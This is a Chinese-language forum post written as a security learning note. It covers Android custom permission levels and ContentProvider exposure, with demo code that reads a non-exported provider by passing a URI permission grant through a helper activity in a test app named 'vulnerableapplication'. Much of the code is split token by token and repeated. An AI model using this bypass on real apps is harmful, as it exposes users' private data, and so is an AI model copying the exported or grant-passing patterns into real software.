我们称为服务程序
调用我们的成为第三方程序
android自定义权限是第三方程序,调用服务程序组件的时候,服务程序,赋予第三方程序的权限。
name : 权限名称,第三方,写明声明的这个权限
description : 权限描述
permissionGroup : 指定权限属于的权限组,别的程序申请的时候需要写的
protectionLevel : 权限保护级别
Normal
这是最低风险的权限,如果应用声明了此权限,也不会提示安装应用的用户授权(例如,如果声明了定位权限,则应用到定位功能时,会明确提示用户,是否授予定位权限,但是protectionLevel为normal的不会明确提示,直接默认授予),系统直接默认该应用有此权限;
dangerous
这种级别的权限风险更高,拥有此权限可能会访问用户私人数据或者控制设备,给用户带来负面影响,这种类型的权限一般不会默认授权。
signature
这种权限级别,只有当发请求的应用和接收此请求的应用使用同一签名文件,并且声明了该权限才会授权,并且是默认授权,不会提示用户授权
signatureOrSystem
这种权限级别是系统授权的系统应用或者相同签名的应用,一般避免使用该级别,因为 signature 已经能满足大部分需求。
android:permission:统一提供程序范围读取/写入权限。
android:readPermission:提供程序范围读取权限。
android:writePermission:提供程序范围写入权限。
而权限,只有四个值,或者不写权限
Normal 和不写权限
没有声明权限,第三方程序,也可以不写,但是如果服务程序写了权限,第三方程序,必须写,否则为报错,使用这个组件权限不足的错误。
dangerous
这个权限没试过,估计权限很高,很危险,但是,我估计,基本不会遇到这种权限的app
signature 和 signatureOrSystem
signature:只有签名相同的程序才能使用,估计除非签名文件被盗,否则,应该都是自家在用,跟不开放没啥区别,
signatureOrSystem:比签名多了一个使用者,就是拥有系统签名的app,可能可以靠某个系统app间接调用过去,我们去测试的app,估计都是第三发发行的应用,我估计应该没人用这个。
总结:
只要export = true,外部程序直接可以访问,寻找漏洞。否则无法攻击
自定义的权限Normal,攻击程序就能进行攻击,否则无法攻击。
这个,其实没那么重要,因为,我们可以分析目标app,进行目标app的权限申请,如果有签名验证的话,是无法申请的,只能通过别的方式调用,也没办法处理。这个可能写的不太细致。有兴趣的可以自己查一查。
内容提供者将一些特定的应用程序数据供给其它应用程序使用。数据可以存储于文件系统、SQLite数据库或其它方式。内容提供者继承于ContentProvider 基类,为其它应用程序取用和存储它管理的数据实现了一套标准方法。然而,应用程序并不直接调用这些方法,而是使用一个 ContentResolver 对象,调用它的方法作为替代。ContentResolver可以与任意内容提供者进行会话,与其合作来对所有相关交互通讯进行管理。
首先我们需要知道三个类
假如我们现在有个应用A 提供了数据 ,应用B要操作应用A的数据,那么
这就是通信的大致流程,在了解更加详细的流程之前,我们还需要知道几个概念
ContentProvider中的URI是有固定格式的,例如:
Authority:授权信息,以区别不同的ContentProvider
path:表名,以区分ContentProvider中不同的数据表
id:id号,用于区分表中的不同数据
ContentResolver通过Authority寻找ContentProvider,
UriMatch主要为了区配URI,比如应用A提供了数据,但是并不是说有的应用都可以操作这些数据,只有提供了满足应用A的URI,才能访问A的数据,而UriMatch就是做这个区配工作的,他有如下方法
开始笔记的时候,我才发现,虽然我了解ContentProvider的部分原理,但是真的没有完整的用过她,更没有在某一个app中,实现并使用过她,甚至demo都是看博客,说说干嘛,而且我唯一分析的大型关于ContentProvider的app竟然就只有virturalApp,但是他的使用。废话到此为止。
ContentProvider,网上的大致都是打开数据库,进行操作数据的接口,或者FileProvider文件共享,给我整懵逼了,我仔细总结了一下,并亲自写了demo,总结如下:
上面的函数会直接的调用对应URI的provider 的方法,
openInputStream,会调用openAssetFile
call 会调用call
还会把参数传递过去,至于实现什么功能,就是你自己的事情了
openAssetFile ,调用openFile,我们可以直接重写openFile,也可以,重写openAssetFile(我开始的时候重写的openAssetFile,有点傻,后来发现要解决的问题有点多,不太会用,发现写openFile比较方便)
代码里的三个权限,设置,才是设置这个provider提供的文件读写功能,返回的文件对象,具有什么样的权限
grantUriPermissions = "true"表示,表示允许权限传递,就是拥有访问权限的组件,可以把访问权限传递给别的组件,为false,权限无法传递,只能自己使用。
被攻击的provider,无法通过外部访问
间接传递权限的activity
android:exported属性
从API Level17及以后,Content Provider默认是私有的,除非显式指定,android:exported="true"。
provider设置为false时,只有同一个应用程序的组件或带有相同用户ID的应用程序才能启动或绑定该服务。如果为true,外部应用,就可以调用,访问使用内部提供的功能,根据实现的功能就行测试攻击,而不只是sqlite和文件访问这些功能而已。当然,可能效果没有那么好。(配合使用更佳,后面会介绍例子)
跨进程调用provider,如果进程死了,会唤醒目标进程,并且,在这个调用进程主动被杀以后,目标进程没有被杀。
作为第一手攻击点,启动进程,是可以的。不过,估计和广播哪个一样,没有后台弹出界面权限。助攻也可以
provider本进程启动的时候,会在Application oncreate方法调用前初始化完成,调用完oncreate
这里,加固的时候,如果在oncrete函数里调用provider,要在之前完成provider手工安装(这里记不太清了,但是provider在加固的时候有坑)可以去分析他的启动时机。
provider本身,没有权限控制,sql,文件读写功能,只提供的双端交互,后续以及产生的各种漏洞,都是开发人员在provider基础上进行功能扩展,代码检测不严格,出现的问题。
如果你看到这里觉得前面写的没有问题的话,那么。。。。。。。。。。
好吧,先说一下,出现的问题吧
grantUriPermissions = true 无法生效
先看官方描述
(https://developer.android.google.cn/guide/topics/manifest/provider-element 不知道这个文档是不是老了,或者有什么问题)
这里也说了,provider export = false ,grantUriPermissions= true,授权给别的应用,是可以访问的,能绕过 export = false 。
但是实际情况是,在android:grantUriPermissions=true ,export = false的情况下,我无法访问provider,并且报错,就是export=false
我也设置了权限传递
并且查了不少的资料,开发的一些demo,国内外的provider漏洞利用,都说没有错,但是我就是不好使,我开始觉得,可能他就是有问题的,但也可能这是个低版本问题,毕竟我手里,只有android 8 和 9。
grantUriPermissions = true 无法生效的解决方案
可能是对自己测试结果的不自信吧,于是到网上找了别人写好的demo试了一试,额,还真过去了。
```
Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
intent.putExtra(MediaStore.EXTRA_OUTPUT, uriForFile);
intent.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivityForResult(intent, 200);
grantUriPermissions = true 无法生效的解决方案(二)
在无意中,我还发现第二种方案,不过可能有些鸡肋。
总结
手机类型不全,不清楚android7是否会没有这样的问题,系统源码方面么有深入挖掘,第一种方法需要应用本身有相机权限,第二种方法,应用本身需要给目标应用主动授权。这两种方法都可以在应用层实现,不知道有没有办法,hook java方法什么的,达到这两种方法的目的。
<permission
android:name
=
"com.sl.permission.aidl"
android:description
=
"@string/service_permission"
android:permissionGroup
=
"com.sl.permissions"
android:protectionLevel
=
"signature"
/
>
<permission
android:name
=
"com.sl.permission.aidl"
android:description
=
"@string/service_permission"
android:permissionGroup
=
"com.sl.permissions"
android:protectionLevel
=
"signature"
/
>
<provider
android:authorities
=
"com.example.student"
android:name
=
".provider.MyContentProvider"
android:grantUriPermissions
=
"true"
android:permission
=
"com.sl.permission.aidl"
android:exported
=
"true"
/
>
<provider
android:authorities
=
"com.example.student"
android:name
=
".provider.MyContentProvider"
android:grantUriPermissions
=
"true"
android:permission
=
"com.sl.permission.aidl"
android:exported
=
"true"
/
>
<uses
-
permission android:name
=
"com.sl.permission.aidl"
/
>
<uses
-
permission android:name
=
"com.sl.permission.aidl"
/
>
/
/
远程调用contentResolver对应的方法
switch (v.getId()) {
case R.
id
.zeng:
contentResolver.insert(URI, contentValues);
break
;
case R.
id
.shan:
contentResolver.delete(URI, null, null);
break
;
case R.
id
.gai:
contentResolver.update(URI, contentValues, null, null);
break
;
case R.
id
.cha:
contentResolver.query(URI, null, null, null, null);
break
;
case R.
id
.openfile:
try
{
contentResolver.openInputStream(URI);
} catch (FileNotFoundException e) {
e.printStackTrace();
}
break
;
case R.
id
.call:
Bundle bundle
=
new Bundle();
contentResolver.call(URI,
"ABC"
,
"DEF"
,bundle);
break
;
}
/
/
远程调用contentResolver对应的方法
switch (v.getId()) {
case R.
id
.zeng:
contentResolver.insert(URI, contentValues);
break
;
case R.
id
.shan:
contentResolver.delete(URI, null, null);
break
;
case R.
id
.gai:
contentResolver.update(URI, contentValues, null, null);
break
;
case R.
id
.cha:
contentResolver.query(URI, null, null, null, null);
break
;
case R.
id
.openfile:
try
{
contentResolver.openInputStream(URI);
} catch (FileNotFoundException e) {
e.printStackTrace();
}
break
;
case R.
id
.call:
Bundle bundle
=
new Bundle();
contentResolver.call(URI,
"ABC"
,
"DEF"
,bundle);
break
;
}
public @Nullable AssetFileDescriptor openAssetFile(@NonNull Uri uri, @NonNull String mode)
throws FileNotFoundException {
ParcelFileDescriptor fd
=
openFile(uri, mode);
return
fd !
=
null ? new AssetFileDescriptor(fd,
0
,
-
1
) : null;
}
public @Nullable AssetFileDescriptor openAssetFile(@NonNull Uri uri, @NonNull String mode)
throws FileNotFoundException {
ParcelFileDescriptor fd
=
openFile(uri, mode);
return
fd !
=
null ? new AssetFileDescriptor(fd,
0
,
-
1
) : null;
}
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode)
throws FileNotFoundException {
Log.e(
"Rzx"
,
"provider openfile"
);
Log.e(
"Rzx"
,uri.toString()
+
uri.getPath());
/
/
由于是应用内的不同进程,故这里把文件放到data
/
data
/
包名 目录下
File
testFile
=
new
File
(getContext().getCacheDir(),
"test.html"
);
/
/
ParcelFileDescriptor.MODE_READ_ONLY:只可读
/
/
ParcelFileDescriptor.MODE_WRITE_ONLY:只可写
/
/
ParcelFileDescriptor.MODE_READ_WRITE:可读可写
return
ParcelFileDescriptor.
open
(testFile,
ParcelFileDescriptor.MODE_READ_WRITE);
}
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode)
throws FileNotFoundException {
Log.e(
"Rzx"
,
"provider openfile"
);
Log.e(
"Rzx"
,uri.toString()
+
uri.getPath());
/
/
由于是应用内的不同进程,故这里把文件放到data
/
data
/
包名 目录下
File
testFile
=
new
File
(getContext().getCacheDir(),
"test.html"
);
/
/
ParcelFileDescriptor.MODE_READ_ONLY:只可读
/
/
ParcelFileDescriptor.MODE_WRITE_ONLY:只可写
/
/
ParcelFileDescriptor.MODE_READ_WRITE:可读可写
return
ParcelFileDescriptor.
open
(testFile,
ParcelFileDescriptor.MODE_READ_WRITE);
}
<provider
android:authorities
=
"com.example.student"
android:name
=
".provider.MyContentProvider"
android:grantUriPermissions
=
"true"
android:exported
=
"false"
/
>
<provider
android:authorities
=
"com.example.student"
android:name
=
".provider.MyContentProvider"
android:grantUriPermissions
=
"true"
android:exported
=
"false"
/
>
public
class
grantUriPermissionsActivity extends AppCompatActivity {
protected void onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
setContentView(R.layout.activity_test);
setResult(
-
1
, getIntent());
finish();
}
}
public
class
grantUriPermissionsActivity extends AppCompatActivity {
protected void onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
setContentView(R.layout.activity_test);
setResult(
-
1
, getIntent());
finish();
}
}
Intent intent
=
new Intent();
intent.setData(Uri.parse(
"content://"
+
"com.example.student"
+
"/input"
));
intent.setClassName(
"com.example.vulnerableapplication"
,
"com.example.vulnerableapplication.provider.grantUriPermissionsActivity"
);
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivityForResult(intent,
0
);
protected void onActivityResult(
int
requestCode,
int
resultCode, Intent data) {
Log.e(
"rzx"
,
"onActivityResult"
);
super
.onActivityResult(requestCode, resultCode, data);
try
{
String
str
=
"content://"
+
"com.example.student"
+
"/input"
;
InputStream
is
=
getContentResolver().openInputStream(Uri.parse(
str
));
byte[]
buffer
=
new byte[
1024
];
int
byteCount;
while
((byteCount
=
is
.read(
buffer
)) !
=
-
1
) {
Log.e(
"Rzx"
,new String(
buffer
));
}
is
.close();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
Intent intent
=
new Intent();
intent.setData(Uri.parse(
"content://"
+
"com.example.student"
+
"/input"
));
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课